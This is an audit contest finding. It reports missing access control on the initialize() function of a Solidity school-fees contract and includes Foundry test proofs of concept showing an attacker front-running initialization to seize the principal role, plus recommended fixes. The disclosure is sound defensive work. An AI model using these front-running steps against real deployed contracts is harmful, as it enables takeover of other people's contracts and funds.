Hawk High
First Flight #39
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

H-01. [H-1] Missing Access Control in Initialization

0xryker

Summary

Attacker can deploy and front-run a new implementation of the contract and set themself as the principal.

Vulnerability Details

The initialize() function in LevelOne contract can be called by anybody since it doesn't have access control. Thus, an attacker can take control of the contract by setting himself as the principal.
Also,

Proof of Concept

Here's the attacker deploying a new implementation & proxy separately, setting themselves as the principal and taking over the contract.

function test_initializationAccessControl() public {
// i. Deploy the new implementation & proxy separately
LevelOne newImplementation = new LevelOne();
ERC1967Proxy newProxy = new ERC1967Proxy(
address(newImplementation),
""
);
​
// ii. Any address can be the initializer and set themselves as principal
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
​
// This will pass because there is no access control on who can initialize
LevelOne(address(newProxy)).initialize(
attacker, // attacker sets themselves as principal
schoolFees,
address(usdc)
);
​
vm.stopPrank();
​
// Assertion showing that attacker is now principal
assertEq(LevelOne(address(newProxy)).getPrincipal(), attacker);
}

Here's an instance of the attacker front-running:

function test_initializationFrontrun() public {
// 1. Deploy implementation
LevelOne impl = new LevelOne();
​
// 2. Simulate front-running scenario
address honestDeployer = makeAddr("honestDeployer");
address attacker = makeAddr("attacker");
​
// Honest deployer deploys proxy
vm.prank(honestDeployer);
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
​
// Attacker front-runs initialization
vm.prank(attacker);
LevelOne(address(proxy)).initialize(
attacker,
schoolFees,
address(usdc)
);
​
// Verify attack succeeded
assertEq(LevelOne(address(proxy)).getPrincipal(), attacker);
}

Impact

  1. An attacker could monitor the mempool, front-run the initialization, and set themselves as principal.

  2. Any address can be the initializer, thereby rendering the contract unusable

Tools Used

  1. Foundry

  2. VS Code

Recommendations

  1. Import the import {OwnableUpgradeable} contract from OpenZeppelin and add __Ownable_init(_principal) in the initialize function. Include address private _deployer as a variable at the State level. Then add the _disableInitializers() constructor and initialize the _deployer.

/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_deployer = msg.sender;
_disableInitializers();
}

Lastly, add the statement require(msg.sender == _deployer, "Only deployer can initialize") to the initialize function.

Updates

Lead Judging Commences

yeahchibyke Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

contract can be re-initialized

The system can be re-initialized by an attacker and its integrity tampered with due to lack of `disableInitializer()`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!